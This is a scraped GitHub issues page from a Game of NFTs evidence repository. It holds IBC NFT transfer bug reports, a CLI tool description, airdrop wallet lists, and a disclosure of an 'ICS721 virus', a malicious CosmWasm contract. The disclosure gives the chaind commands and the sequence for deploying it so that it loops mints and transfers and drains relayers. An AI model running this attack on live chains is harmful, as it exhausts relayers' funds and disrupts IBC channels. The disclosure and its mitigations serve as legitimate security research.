game-of-nfts / gon-evidence Goto Github PK
View Code? Open in Web Editor NEWThis repo records GoN participants' info and evidence.
This repo records GoN participants' info and evidence.
Found 2 examples:
In both cases ack failed. As a result NFT is not returned/unlocked on source chain (Stargaze):
b) ack: https://gon.ping.pub/iris/tx/F3964D610E30F3CD74353A4BE9191CBEBECCF8D2378D9BED42A89FCE80904408
ack error:
I have made an easy-to-use, interactive CLI that lets people easily work with NFTs in the interchain. It does not require the user to learn a bunch of commands and flags to operate it. Everything is there.
It has a wide range of features for both regular operations of NFTs as well as debugging of IBC transactions.
I have consistently been pushing out new releases with new features depending on the tasks we are doing, and the issues I see people in the community are having. A good example of this is IBC transaction debugging which people struggle to understand. I visualize and explain them so you understand that there are multiple transactions involved.
The main features are:
In addition I have develop a range of helper/debugging tools:
evidence.xslx
format validationThe code is open source: https://github.com/gjermundgaraba/gon-tools
(There is also a small environment variable script in the repo to make using the native CLI's directly easier too)
The CosmWasm ICS721 implementation lacks sufficient constraints for safe relayer operations. To demonstrate this, I created the ICS721 virus.
The ICS721 virus is a malicious contract that infects either or both sides of a CosmWasm IBC connection. It creates an asynchronous recursive loop of relayers sending and timing out ICS721 packets, which execute a malicious transfer function, minting more NFTs and sending them as ICS721 packets, which they then need to transfer or timeout, and the loop repeats.
With only one packet required from the attacker, an IBC connection can be brought to its knees overnight. In the case of Game-of-NFTs, relayers minted over 500000 NFTs, ran out of gas funds, decommissioned their operations, and organizers had to set up new IBC channels for participants to complete their tasks.
Note: Prior to publicizing, it was important to first ensure this attack was not applicable to live ICS20 implementations including
cw20-ics20
and TokenFactory. After testing this by writing the ics20-devils-snare contract, I am optimistic that submessage gas limits are a sufficient barrier. The version of Token Factory live on Juno should not be susceptible to this exploit, but the latest version includes aBlockBeforeSend
hook which would make thetransfer
port quite vulnerable.
sequenceDiagram
participant I as Alice
participant A as Chain A CW-721
participant B as Chain B CW-721
I-->>A: Upload Virus Contract
I-->>B: Upload Virus Contract
I->>A: Instantiate Virus A
I->>B: Instantiate Virus B
I->>A: Register Virus B Address
I->>B: Register Virus A Address
I->>A: IBC Transfer NFT-A to NFT-B
I->>B: IBC Transfer NFT-B to NFT-A
I->>A: Register Voucher A Address
I->>B: Register Voucher B Address
I->>B: IBC Transfer NFT-A back to NFT-A
loop Exponential Transfer Virus:
B->>A: Relayer Executes NFT-A.Transfer
A-->>A: NFT-A.Transfer Mints new NFT-A
A-->>A: NFT-A.Transfer IBC Transfers NFT-A1 ,NFT-A2
A-->>A: NFT-A.Transfer IBC returns NFT-B -> NFT-B
A->>B: Relayer Executes NFT-B.Transfer
B-->>B: NFT-B.Transfer Mints new NFT-B
B-->>B: NFT-B.Transfer IBC Transfers NFT-B1, NFT-B2
B-->>B: NFT-B.Transfer IBC returns NFT-A -> NFT-A
loop Packet Timeout Subloop
Note over A, B: Packets Timeout in Relayer Queue
B->>B: Relayer Executes NFT-B.Transfer
B-->>B: NFT-B.Transfer Mints new NFT-B
B-->>B: NFT-B.Transfer IBC Transfers NFT-B3
end
Note over A, B: Using batch transfers can ensure ordering.
Note over A, B: Optimally vouchers return before native.
end
chaind tx wasm store \
./cw721_virus.wasm \
--from $KEY --gas-prices 0.025ucosm \
--gas "auto" \
--gas-adjustment 1.5 \
--yes
chaind tx wasm instantiate $VIRUS_CODE_ID '{
"name":"Virus",
"symbol":"virus",
"minter":"'$ALICE_ADDRESS'"
}'
chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
"extension": {
"msg": {
"update_spike_proteins": {
"accomplice_src": "'$COUNTERPARTY_VIRUS_CONTRACT'",
"channel_id": "'$SOURCE_CHANNEL'",
"bridge_contract": "'$SOURCE_BRIDGE_CONTRACT'"
}
}
}
}'
# this can be done by executing the counterfeit transfer message
chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
"transfer_nft": {
"recipient": "doesntmatterwontbevalidated",
"token_id": "doesntmatterwontbevalidated"
}
}'
#ibc_packet_receive
entrypoints on each chain's cw-ics721-bridge
, instantiating cw721 voucher contracts for each class idchaind tx wasm execute $SRC_VIRUS_CONTRACT '{
"extension": {
"msg": {
"update_spike_proteins": {
"accomplice_dst": "'$LOCAL_COUNTERPARTY_VOUCHER'"
}
}
}
}'
Virus-A.Transfer
on Chain A.Virus-A.Transfer
mints new NFT-A on Chain A and IBC transfers NFT-A1 and NFT-A2 to Chain B.Virus-A.Transfer
IBC transfers NFT-B back to Virus-B.Virus-B.Transfer
on Chain A.Virus-B.Transfer
mints new NFT-B on Chain B and IBC transfers NFT-B1 and NFT-B2.The above loop continues until the packets timeout in the relayer queue.
Virus-B.Transfer
on Chain A.Virus-B.Transfer
mints new NFT-B on Chain B and IBC transfers NFT-B1 and NFT-B2.The demonstrated attack can instigate significant harm by causing relayers to self-inflict exponentially increasing packet volume and gas expenditures.
This is not necessarily a denial of service attack. While the deployed version mints 4-10 new NFTs per invocation, the most profitable variant need only transfer two packets at a time, silently and continuously collecting income from Juno's FeeShare module at the expense of relayers.
If ICS721 is to utilize the altruistic relayer economy of ICS20, packets must have semi-fungible assurances in terms of cost and functionality. This can be achieved via submessage gas limits and/or code id whitelists.
Optimally, users should be relaying their own transactions, which addresses most of the described risks.
A "success" status was returned for failed transfer of NFT from Uptick to IRISNet.
There happened an occasion that "success" was returned for a failed transfer. The NFT was not transferred but a "success" status was returned by mistake.
The hash on Uptick is "46ED6726AD4A8DD96153D45771B099289F7AEF6886D44C2C844ADBDD610B7936"
The transfer is finally completed in transaction with hash "A01AF11CE35EB7405DB13B767F89D79D834DCC5816EF38C918CF69E97FCD832B"
which returned "success"
Have tried to reproduce the issue using the exact same commands used:
Sending the same NFT from IRISNet to Uptick
(iris tx nft-transfer transfer nft-transfer channel-17 uptick1j2u7fnhw8yjv8m6gyts08pu292ylvsnn3sg8je ocv1 ocvnft02 --from key --fees 2000uiris)
=> a successful status returned
Checking NFT was gone
(iris q nft owner iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx)
=> sent NFT was not found as expected
Sending the same NFT from Uptick back to IRISNet
uptickd tx nft-transfer transfer nft-transfer channel-3 iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx ibc/F4788C5394F4CB878995DDC93DE4EF75C3BE038560C5649788D78134AB625BA9 ocvnft02 --from key
=> a successful status returned
Checking NFT was returned
(iris q nft owner iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx)
=> set NFT was returned as expected
Trigger the same command to send the same NFT from Uptick back to IRISNet
uptickd tx nft-transfer transfer nft-transfer channel-3 iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx ibc/F4788C5394F4CB878995DDC93DE4EF75C3BE038560C5649788D78134AB625BA9 ocvnft02 --from key
=> a failed status returned
However, this time the transfers are successful and smooth. The error could not be reproduced.
N/A
N/A
By comparing The transaction log for the found "failed" transfer and a normal one, they are very similar.
For b1-revisit task, I sent a NFT from uptick to stargaze 2 times and got success both times.
The submission should have failed and I should have gotten the following error.
"failed to execute message; message index: 0: not token owner: unauthorized"
But both submissions were successful.
Uptick Tx-1: D8466750AFA1ED29FB2AE19F893627343FAE221553B3B4ACD539FA91B2332EDF
2023-03-07 05:35
Uptick Tx-2: E2E238AD26E76CB17694C885C55EFFA04887C5D156D641091321C1489DC52101
2023-03-07 18:11
Output has been changed to json
using iris config output json
. But for queries like iris query bank balances
or iris query nft collection
output is always text. But for commands like iris tx nft mint
it works fine and use the config for output.
# change output to json
iris config output json
# query balances
iris query bank balances MY_WALLET # output in text! but should be json!
iris query bank balances MY_WALLET --output json # output in json
# query collection
iris query nft collection 'arkprotocol001' # output in text! but should be json!
iris query nft collection 'arkprotocol001' --output json # output in json!
# mint, output in JSON
iris tx nft mint 'arkprotocol001' 'arkNFT014' --from MY_WALLET --recipient MY_WALLET --fees 2000uiris -b sync --yes
# change output to text and mint outputs to text!
iris config output text
iris tx nft mint 'arkprotocol001' 'arkNFT015' --from MY_WALLET --recipient MY_WALLET --fees 2000uiris -b sync --yes
Expecting output to be based on client.toml / config!
Recipient List of the Second Round Airdop. ClassId is gonIndivRace2
.
ID | Recipient |
---|---|
gir2/Wangxiaolei123456 | iaa19d2xsacl785y74dhmkr48apz24258va0pr76e4 |
gir2/0xMemoryGrinder | iaa14wxkt5lavx94ufj6l8fkuj9lxxy2zqysxhdu3t |
gir2/0xtekgrinder | iaa1d9578kxp8fu0az8098d2r9wznqfr0nwwuumm8e |
gir2/2019jack | iaa1jmk0t74c728v2npnpnxqkvufyyq7pw5lrtzjcy |
gir2/4Ants | iaa1vr0mqc3c8qwkr5keau3gc5krd4c5u94t462qvv |
gir2/79anvi | iaa17nlwd0ejtlckepmgncyngaqdpqdszqsszpmqht |
gir2/BCSungjin | iaa1us78halwtf4tslhav7vklhusw7f7l2l4mfy7jt |
gir2/BalluPetr | iaa1hrrux3lmx7n3qzrjw47f7y87dwcy2shkvh75yt |
gir2/Blockpower | iaa1vthjgnenmkfh50vjapm6jwyugkd7h9l77vylk8 |
gir2/Boblev999 | iaa1he99523wfdud7c9me5redjmrtg40p9mzyery0c |
gir2/Caneryy | iaa1nd0emtkzyfaw6zxmz7jeer524d6zgq6qm3jjs6 |
gir2/Canguilhem | iaa1qtz0867px6zwssl662y7u6xf9dr7fe3qmak36y |
gir2/DAICers | iaa1njk6jqwk6qqeh4edgulyeppcaftk4c0ypupk6u |
gir2/DasRasyo | iaa1amth2ukke6skv6jnhcys5z3nhdp8waqgycfpv8 |
gir2/DionGantung | iaa14u66dfqrprh55ymuljx5dxy9x0hx6ejhwp3vnc |
gir2/DjLenna | iaa1zy7p7d8lzz0ee2dcjrrenzpswgl47eelrkx2qg |
gir2/DreamGallery | iaa1a0v6jt0xg7w4ljlh8dywjgtkrfeqr00l50sr24 |
gir2/EcaterinaSm | iaa1084xy70k92shk4dcqxps7ujknw0h4ewfxwvt2l |
gir2/EkonnK | iaa1tgaaffjsw2366u4enl530muvwkkl0crtdu3lu0 |
gir2/ElfenLied2019 | iaa15k5pldxddu3casukt8g279au0ynzff2xwwjv54 |
gir2/EmreNOP | iaa1e26fequ4hengrfs9sgznaq34hgra9w587awu9r |
gir2/Exclusive048 | iaa12xm6wl4xq67k5lyz8g05re9ela8njpchy30d7l |
gir2/GreenMit | iaa136wlf0hc0jzsxqt66ug4535uascygh4vkx8e4a |
gir2/HashQuarkResearch1 | iaa15neaqq7kyewa6k3dtdhrgl6dk9pmj7umhewyld |
gir2/IAmScRay | iaa16yfrzsnnk8qk85h2c2e33czm8h6ezdxr67tq7a |
gir2/IvVasil | iaa1l9ycf23pvegy2n568fs708lgxumfrzdyuwc89u |
gir2/Jav1x | iaa1l23e3s7a85puq7v4p2fuyppr454antkdx7ndf5 |
gir2/JeTrix | iaa1tr8jc7pqtkuztf85l9xyq4fpwe7cn4pn2f94jw |
gir2/JianHongHong | iaa18gxf440n0jz24624e6vh9r52e66esxrrr8pnm8 |
gir2/JiuKelo | iaa12zqr9a772flwxvawwpzp5as2ptwmj422mr4vrt |
gir2/KaliaNetwork | iaa1kzdyjtf50d8t467u43c9v87v8fk879dt5k2qe2 |
gir2/Kutuzov17 | iaa1fln4q5wulfgr4qk7s7hnlxfnyghlg62s490vaj |
gir2/Lefey | iaa1lc4pf2m2623d7573c2k7qfp4ymflqy04m23h5p |
gir2/LevVlad | iaa1xs7wmqh6wjg3z8yqaykjvma9whervxua0pl3ey |
gir2/LiangLiang918 | iaa1dhavldfmgg0dml8rzl66684yhey2aaw7x3t473 |
gir2/McDaan | iaa1knp4syd5vm9l73axl7njpjnjlmqyghk266t9ty |
gir2/N1ghtSe7en | iaa15jdwqnynxzhhunymzgdhu233t2kcn5v4e8purt |
gir2/NiCoderPro | iaa1y32g70jkc5pz8f7fl66mzh3pem2juh5k27w2sv |
gir2/Nodiums | iaa1x25yfkqad82rxv7kn202stzxc87pg83dcj4hcr |
gir2/NyseDev | iaa199mhptqpvu47nr5hluerdtmxn5sz3eameapala |
gir2/OlegBirkoff | iaa1zzx583wtxgu6pnyq4gyhj0mspx7eehpudvupqt |
gir2/PetrFerz | iaa17ddw884ly906vccg40qne0tqzysytumzrk6ap8 |
gir2/RFuture | iaa1nkk935vnxpcqrt7ul67dtvekh7cr0ednq6ffmt |
gir2/SegaStakers | iaa1xul2k99x5hug55kyka2mjphqjyjcd6wuay55q3 |
gir2/ShenFri | iaa1kk3qg20e2vmcuzeuau8yu9kzqhcr3eweqfwxkk |
gir2/TheCodeor | iaa1wxl44399uppwd5uc6rrgz07plzs9atv8fxt7qr |
gir2/VasyaIvanov21 | iaa177qeth9t4qdpczfr4vke4wu3gfet2pdp9h5lmg |
gir2/Vgk88 | iaa1ksu5npssgngfm0h8zc3hu0rrkux8z9gmvj9zvm |
gir2/VladDevv | iaa1kw75spqdu6xcc2qjzm2c8qqrv66asv7qd9g96v |
gir2/XuehaiZhang | iaa17tmylzn4n9ekeyvrkj248j2g490qs2yyuxyt28 |
gir2/ZhihangLiu2020 | iaa1s62hzktpag3k2s2k2tfa9p4lqvagmuwrj0qg4a |
gir2/alfset | iaa1k8zukzhyyzuk0wurh9r4j25ttgvzfp7g6hhc5y |
gir2/alipostaci2001 | iaa1h8uj22du0ka3ylq6rnx00cupey9y6e4jslsqcz |
gir2/alkadeta | iaa1jmx7k727ea7vd6arra52fw9p4qgn03d7jxl95d |
gir2/allyter | iaa14zru37e9zrha0lsnc64e89mc22etq50gaerxfd |
gir2/alpe | iaa1thyrs2wsjgc777z6h6lgpajzpwhwe2e9mgstlj |
gir2/alxnode | iaa1xgmsyhmfdewqgdltqw4cmkpjghm4f4acemnh2z |
gir2/amonxx | iaa1z8nmflnpj03q2994vx7h6h90g6uxvaud0wnyum |
gir2/anurg | iaa1vxeek5v8vw30h2m5hy9jat4w0ygkuqy9v9se26 |
gir2/ardapda | iaa1du2v73lf4hma5tpq0f73j69h0hm9veyythkks9 |
gir2/arifintahu | iaa1qkqe3yrhvyvd7y5u8374vcxw2evzgqj2tqlnrh |
gir2/arnettee | iaa1gg2a0lr5c6yqn4dyhuftwx37f962yh2h0ukuqh |
gir2/beal2912 | iaa1rxftqkksy3u6n4sdu6l9mz30vm72n9l4uhzdj4 |
gir2/benrazor | iaa1kt0t57apdcu2s5k7jdvfsslvclu7mktn43kv0v |
gir2/blacktoor | iaa19fqqwkgrrcktqljpz5vsepkknhe0elgd2mqxqk |
gir2/blasmorkai | iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w |
gir2/blockhuntersdev | iaa1w8xxkzsglsg9nd2q60f9p292tv2k0dqm2ys4tj |
gir2/blossom124324 | iaa1hmkc6w4f4wxfu34gtaz6thgm0n57gz674cyaa7 |
gir2/bronbro2 | iaa1ykluardc70dx0v308dqahngt3dgzvfxjktawpu |
gir2/bunnygangsta | iaa14twcjxxafcw7x0q4vk4l6aj03mz7pvepzpa0wd |
gir2/busteter | iaa1qppucn75sp46hnw42yjj6chemf5zgvxwtl5nry |
gir2/carameleon | iaa1typgf72ee0dq2cznqm6vnlpv0nkcshjhgqmpww |
gir2/chainsmt | iaa1m0u69jrtd70wrkxkm0jwx64eu7432k4lfen5yy |
gir2/chillyvee | iaa13rd5d39dp7qdccw05wwnhqce3j0zahzey9tjc5 |
gir2/ciprianmuja | iaa1828e0j32udqkz66mvuf6znzxvunjptvtuc2w8f |
gir2/cjisthecat | iaa1vzptwj7v30g0lf7emyqx3u8k7a0rcyxckggh5z |
gir2/cosmowiz | iaa1q5reqcguqlhgnd7y8rfjhc4988me0lh5drg7al |
gir2/cyberomanov | iaa1s4chs8vs85x327uzgsr4ynrhlhk0da5z2a4nvr |
gir2/deden2904 | iaa1sxue5vc26wuwwc6f6pxrpel5umwx9zkykp7ppl |
gir2/deeeffes | iaa1klufvdwy6tjevm6quwcwlykpsge266m5q8mfcs |
gir2/defiantlabs | iaa1dnmz4yzv73lr3lmauuaa0wpwn8zm8s20cx2rtp |
gir2/demonchang | iaa1n2sm8zl6zwl4sx2zc39yc2qzvgjtmjhmtea7cf |
gir2/dhkgon | iaa15vsyx3fk9eqg3tmdp55m8gp77jvg9leej98tyt |
gir2/dolphintwo | iaa1a055aftycf8tcrwx5latqyxra4r4wvpg4rfssu |
gir2/elfelf2 | iaa1xd57q3h47vfrufctpfx4tj2zgdl4w6xc0yrdr7 |
gir2/fangqia | iaa158stguahxl69hxr85ucpg8q6ms3sxpt5vs8d2p |
gir2/farukyasar | iaa1pa08ws4mhvp2qcpz5yh4yfqu0rj8hzxwv8fpgz |
gir2/freak12techno | iaa1w6e8m7tjwp2r2dq366hwf0gtdptgjvdxt66vaz |
gir2/furkanefeoss | iaa1zdka0sa25kvr4v63gx9s24g8ah629c7k0qc08c |
gir2/giansalex | iaa1zxtlyk7l6n3t46yqse84sza7ar39m8uljcwrp5 |
gir2/gjermundgaraba | iaa1ypynejafjw6u2cucqp9yjnahxjt3vkl6ms2fum |
gir2/gkhncglr | iaa1lhm8l68q860pwd46su4r0kt2z3xskjfnmlxlua |
gir2/gokceeee | iaa1mc6yx0gl727je57wwx7tc8eusl93d77yqytv02 |
gir2/gokmenkutuk | iaa188ldsnxc4lmpp3te2j0ttd7y55ymyghg6y7r69 |
gir2/goooodnes | iaa10vacnk5tkky3rle93e7ghl6ms893yx6dx0p94h |
gir2/gouzhiyuan | iaa1y4znzseh5tze7dgqkgzu5ehqu7drqqxngyzk05 |
gir2/gruberx | iaa1j0fpap4936a7z9kwg2djlr9mj0ymdzdtftp5gt |
gir2/heejingithub | iaa1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579gq67d5 |
gir2/hexp1989 | iaa1aw0jfqlg4ulhnleytpydvmx0zem33828awyc6t |
gir2/i7495 | iaa1dhsf549zh5k6g00e9leu3yx2hyqt7d0uw36cg5 |
gir2/ibrahimarslann59 | iaa156vzzhjqk9gzsk8fjje3msupj0fv8lyhnalzgl |
gir2/ibrahimdulger | iaa14pxla3c0umrtfg6l86f9hfusjj63rsd3qg84xy |
gir2/ilhamnurizha | iaa1vrdvwapp49kgj2x3y9ll3lw3wgmwy0qkpg95qk |
gir2/ilkeff | iaa1z6u25xdmuvyve3npvt73ta43583h68dtaq2uy4 |
gir2/imnisen | iaa1z4uncvfqzc8jvz6ejdnllq6g2ze4vudky546z0 |
gir2/jim380 | iaa1jhkzj8tuel7tvweztqhqff9m0d7lwavz3espx2 |
gir2/joshlopes | iaa1ytr0nujljr44t7kw2vhe566ecjz8mtn8xgv0y4 |
gir2/kadiralan | iaa10k6w4fxfaq4g3zkw7fneqdgu6s5j0qd4nz2s27 |
gir2/kaizhizhang | iaa1qlwgt4rmt3l3xdee9l4mn6rwewwh4kgl2kdugw |
gir2/kaka0319 | iaa1k2r3hl2w4483e7wh5j6e0lmn5lr9e6k0wxpv5e |
gir2/kanakattack | iaa1tvun0xdgq9rz353zlqr2jtnm2fnspl3yhrenmh |
gir2/karat0 | iaa1rhgy4cjklhsa7q76qqn4n9pzcqn5utu3s9w4km |
gir2/katheeE | iaa1e24s0tz8hkkf905lpaw6s6dtczf2tt99fh4xw2 |
gir2/kaustubhkapatral | iaa1dtpkz84q8z6ewxjxna3qykmgxy2zskfucrzxnd |
gir2/keyllli223 | iaa1mrrdmatjtdmhnu605h5g27rf9qj9xr5eew7p4s |
gir2/kivancbeser | iaa1c3m67xnd6nvqanhndspvy9e9gax3qjww5e29d4 |
gir2/kleomedes | iaa1qtnhka7wkhlzlat9ju8vytaxmzlqwy5523sjdr |
gir2/krisboit | iaa1dqwhvwmfha77pljpg2zurc75as6gqq8822yf5y |
gir2/lamboo | iaa1qzry3k4gntwj9ueqyw502txsrrc5w5cuhxxwyd |
gir2/landerosua | iaa1khntu8dryrqz2nmr6fswzw753ewdlxdja7z2f5 |
gir2/leonikaf | iaa1lex8xp3h9dnfu0nvpewse0cygsd9rag6ky8hn5 |
gir2/lesnikutsa | iaa1vvmhgks8rrns9cwfgegpgs66xclw00jya5h0c4 |
gir2/liwenjia345 | iaa163u9wks3fm3uskrn38lwmqqnupv4n63jeq9z54 |
gir2/mahofmahof | iaa1w6m2yzpum76eka7z6zdrpq4zrg6ue33h7ph455 |
gir2/marcotradenet | iaa13qfqt0htfel3sxzys8hqeql8gyyspn9z7k0nkq |
gir2/mariowork | iaa15npjzka4pgzs7sgrukmdxxqfed27nhw90w2xh5 |
gir2/marryton007 | iaa1vzj40p0t54e6cscrvd3kyldlq06k02j0dyr3l6 |
gir2/mcanvar | iaa1ydpmcer7cgmwxyvv277zv0drlvfh0d7yasxg7z |
gir2/mccallofthewild | iaa1ztxwfpggyc5eqhev548z8wkwj8hx5k4hxdkqlr |
gir2/meathewww | iaa1kezghqmxep8apuxc7nv44rnu8anhm3hrmzynmp |
gir2/mengfanjie95 | iaa1r29cfs58lff6m072hnkglq38kq6958r7js8t28 |
gir2/mmcel | iaa1rwyh0mvg36s3776mwjxpuxqezvd3503qrhdkaa |
gir2/nguyenquan9699 | iaa1wq967n8dczefkzun2wfg0mnm882ydqur06lwzq |
gir2/nodeiistt | iaa1zy9ev09xxr58rfx9te90vdysmuyrwr7evyklj7 |
gir2/nodestake | iaa184hv0zmw2n9ud3h87mdykz22dr2d7yumpd9lfa |
gir2/nurtagum | iaa1fxvmkjm5rzr2mhy63qum7y87544nu5hrsgkpcp |
gir2/nyaironggeng1 | iaa1pczvcvkjaqqmaxpjpxq0kyxc9p5fwn62wukvpv |
gir2/oOZz | iaa1hp386plt6xu0mnjxjzxp4zf5w5ccjdd85v6cqc |
gir2/okannako | iaa1vc5l6qu23vee608f5ggwrnqtc4aexaw6gewz9q |
gir2/okwme | iaa1l5um3uekts87fvjunel8xvv9vadspc33m3c5vx |
gir2/oldcatv | iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx |
gir2/omercanyenigun | iaa1h96drj3x7qjvgfscevz7nd2e7eqj8g7nmc8r2k |
gir2/onurhizlan | iaa1zeqycljyz0a8l0mfam5hkv7xyvmssf0ngm0rzh |
gir2/osmanbo | iaa1wpp9yffpcljulvnss08ress6y8qtqa3ekg5s8u |
gir2/pingpub | iaa1evafzxq68h556shtqcjtz0vkejdd4275qwzfpf |
gir2/pinosu | iaa1nrtuu9c0dkcxcrd5w7fyppy9l6343fwe5a5pqa |
gir2/polkavio | iaa1ag44l06ec3kkaf4cx5s7w8dnwdhnhvk06fzt5s |
gir2/ptts55 | iaa104m3r6tuanzmq8ll4wyuhh5dqqynfvqsey5zjg |
gir2/remianch | iaa1782pwpag2ve6wgd9wphhd5atm6emlv04udajf0 |
gir2/rysiman | iaa1dw7uznahn3sklj544pyy73vzxxedpsu0cdna0p |
gir2/sanshainstar | iaa1zcr3dutv0uh0sr2x2ll4aqlcxyyyk2gh78rmuc |
gir2/sarsersirsur | iaa1dlg3ez2c6phmf7xk5pk98l9qzehnkqruyfr20w |
gir2/secard51 | iaa1f70vf6yt675322hh7a38am40he926d8sc66dn9 |
gir2/selimkafa | iaa12vcrw9cjvsnzs02q2fp9p4lx4pzfhxnk2dn2hd |
gir2/si35 | iaa132pl57u4qm0d0jax4dsk4jkdfc2mcp6lwu2qmk |
gir2/silentnoname | iaa1g5arldt04fs4m23p2wjzqwrd5yppu2kchj39v0 |
gir2/songjiazhun | iaa1z8ukcxmhelz7jncsctl27jmdzmqanqrmtj77z9 |
gir2/stguller2 | iaa1q8zrfyv7muv7aflr5xzn069zfumy4xs8atc0w6 |
gir2/studentmtk | iaa1pkeydzqcdrvyeutp4p3q4k2r96sajuf4896wy4 |
gir2/superdreams | iaa1vwqy94txqy0suva8jam58d995pmuqvh8jy4lxc |
gir2/sxlmnwb | iaa1xheppmt689acf7mp6je59tmjqgstjghkqrmrm9 |
gir2/szryldrm | iaa1w67t645d9usgdyvgsamc4y6axpax8ertn4hhwf |
gir2/taitruong | iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f |
gir2/techwomen35 | iaa10pxl8fqs7kp68wh7uvsjnhx0vhupanzkjuk67x |
gir2/timveltman3 | iaa14gzr79v27csvlyperv0gsf5me9jywlthns2r8x |
gir2/tiramisu26 | iaa17ks9yaes9x9tfrt4eees7mzeck00pzc5tqfu7x |
gir2/trulacgctcnetwork | iaa1dtgf8l2c6efpkshnm24xzn52nhry8uj99r2gjm |
gir2/uniqlabsorg | iaa1s3m24ynlwqsr88584mkcaepj6kfx0fn345eh6d |
gir2/valNodeOne | iaa1djjha5yv5p32fpuw4l99nfnhc4j84gfk64cuz3 |
gir2/vivensy | iaa17mdu9nwkl5j0a3repexh7wplmvsvupulju3rc8 |
gir2/waitrouz | iaa1hgwvd0scc7qmyrr97mrkm8yfa9rcxmr3e8qzju |
gir2/wetezos | iaa179h7vvp3vveng5xrhu95k8vaxgr8d8gzfpqsr9 |
gir2/williamchong | iaa1wesx8r0696ejnasqarrxd0gm45c4jwjns6n7fx |
gir2/williamqiao | iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf |
gir2/xavier200203 | iaa1ghcwp60uzgylr3kukkppzq457j0tlqw7g3s69u |
gir2/xbdyhh | iaa1w3t6kvkvhudyrcvveu9yzyh3sv7ykpsthvsepz |
gir2/xianxianzhou | iaa16hqe6z0d08d007uuwq6xx23srww65atj9fgcpq |
gir2/xxfs | iaa1c275fwntd765htsaqzffv262yxj99rr6pv8ddc |
gir2/yekssin | iaa1zj835pe42xlp6cxxr60zk7uw9dvk5q3yxycqj6 |
gir2/yuanzd123 | iaa1d5cz9wyjlkeymw22meq4c9fl7p5k5kysnv8kp9 |
gir2/yulianandyka | iaa1pu5asmzmhumwly4umu4qg4k4pysyg2lwdpqrp9 |
gir2/zanglang | iaa1tez4axjzrfr0h96hug80wgcfuhe402m5ckass2 |
gir2/zhangweidong123 | iaa1lex2e7swh6wfgwtm5r8p94cjf425pmznucpsv0 |
Recipient List of the Frist Round Airdop. ClassId is gonIndivRace1
.
TokenID | Recipient |
---|---|
gir1/Wangxiaolei123456 | iaa19d2xsacl785y74dhmkr48apz24258va0pr76e4 |
gir1/0xMemoryGrinder | iaa14wxkt5lavx94ufj6l8fkuj9lxxy2zqysxhdu3t |
gir1/0xtekgrinder | iaa1d9578kxp8fu0az8098d2r9wznqfr0nwwuumm8e |
gir1/2019jack | iaa1jmk0t74c728v2npnpnxqkvufyyq7pw5lrtzjcy |
gir1/4Ants | iaa1vr0mqc3c8qwkr5keau3gc5krd4c5u94t462qvv |
gir1/79anvi | iaa17nlwd0ejtlckepmgncyngaqdpqdszqsszpmqht |
gir1/BCSungjin | iaa1us78halwtf4tslhav7vklhusw7f7l2l4mfy7jt |
gir1/BalluPetr | iaa1hrrux3lmx7n3qzrjw47f7y87dwcy2shkvh75yt |
gir1/Blockpower | iaa1vthjgnenmkfh50vjapm6jwyugkd7h9l77vylk8 |
gir1/Boblev999 | iaa1he99523wfdud7c9me5redjmrtg40p9mzyery0c |
gir1/Caneryy | iaa1nd0emtkzyfaw6zxmz7jeer524d6zgq6qm3jjs6 |
gir1/Canguilhem | iaa1qtz0867px6zwssl662y7u6xf9dr7fe3qmak36y |
gir1/DAICers | iaa1njk6jqwk6qqeh4edgulyeppcaftk4c0ypupk6u |
gir1/DasRasyo | iaa1amth2ukke6skv6jnhcys5z3nhdp8waqgycfpv8 |
gir1/DionGantung | iaa14u66dfqrprh55ymuljx5dxy9x0hx6ejhwp3vnc |
gir1/DjLenna | iaa1zy7p7d8lzz0ee2dcjrrenzpswgl47eelrkx2qg |
gir1/DreamGallery | iaa1a0v6jt0xg7w4ljlh8dywjgtkrfeqr00l50sr24 |
gir1/EcaterinaSm | iaa1084xy70k92shk4dcqxps7ujknw0h4ewfxwvt2l |
gir1/EkonnK | iaa1tgaaffjsw2366u4enl530muvwkkl0crtdu3lu0 |
gir1/ElfenLied2019 | iaa15k5pldxddu3casukt8g279au0ynzff2xwwjv54 |
gir1/EmreNOP | iaa1e26fequ4hengrfs9sgznaq34hgra9w587awu9r |
gir1/Exclusive048 | iaa12xm6wl4xq67k5lyz8g05re9ela8njpchy30d7l |
gir1/GreenMit | iaa136wlf0hc0jzsxqt66ug4535uascygh4vkx8e4a |
gir1/HashQuarkResearch1 | iaa15neaqq7kyewa6k3dtdhrgl6dk9pmj7umhewyld |
gir1/IAmScRay | iaa16yfrzsnnk8qk85h2c2e33czm8h6ezdxr67tq7a |
gir1/IvVasil | iaa1l9ycf23pvegy2n568fs708lgxumfrzdyuwc89u |
gir1/Jav1x | iaa1l23e3s7a85puq7v4p2fuyppr454antkdx7ndf5 |
gir1/JeTrix | iaa1tr8jc7pqtkuztf85l9xyq4fpwe7cn4pn2f94jw |
gir1/JianHongHong | iaa18gxf440n0jz24624e6vh9r52e66esxrrr8pnm8 |
gir1/JiuKelo | iaa12zqr9a772flwxvawwpzp5as2ptwmj422mr4vrt |
gir1/KaliaNetwork | iaa1kzdyjtf50d8t467u43c9v87v8fk879dt5k2qe2 |
gir1/Kutuzov17 | iaa1fln4q5wulfgr4qk7s7hnlxfnyghlg62s490vaj |
gir1/Lefey | iaa1lc4pf2m2623d7573c2k7qfp4ymflqy04m23h5p |
gir1/LevVlad | iaa1xs7wmqh6wjg3z8yqaykjvma9whervxua0pl3ey |
gir1/LiangLiang918 | iaa1dhavldfmgg0dml8rzl66684yhey2aaw7x3t473 |
gir1/McDaan | iaa1knp4syd5vm9l73axl7njpjnjlmqyghk266t9ty |
gir1/N1ghtSe7en | iaa15jdwqnynxzhhunymzgdhu233t2kcn5v4e8purt |
gir1/NiCoderPro | iaa1y32g70jkc5pz8f7fl66mzh3pem2juh5k27w2sv |
gir1/Nodiums | iaa1x25yfkqad82rxv7kn202stzxc87pg83dcj4hcr |
gir1/NyseDev | iaa199mhptqpvu47nr5hluerdtmxn5sz3eameapala |
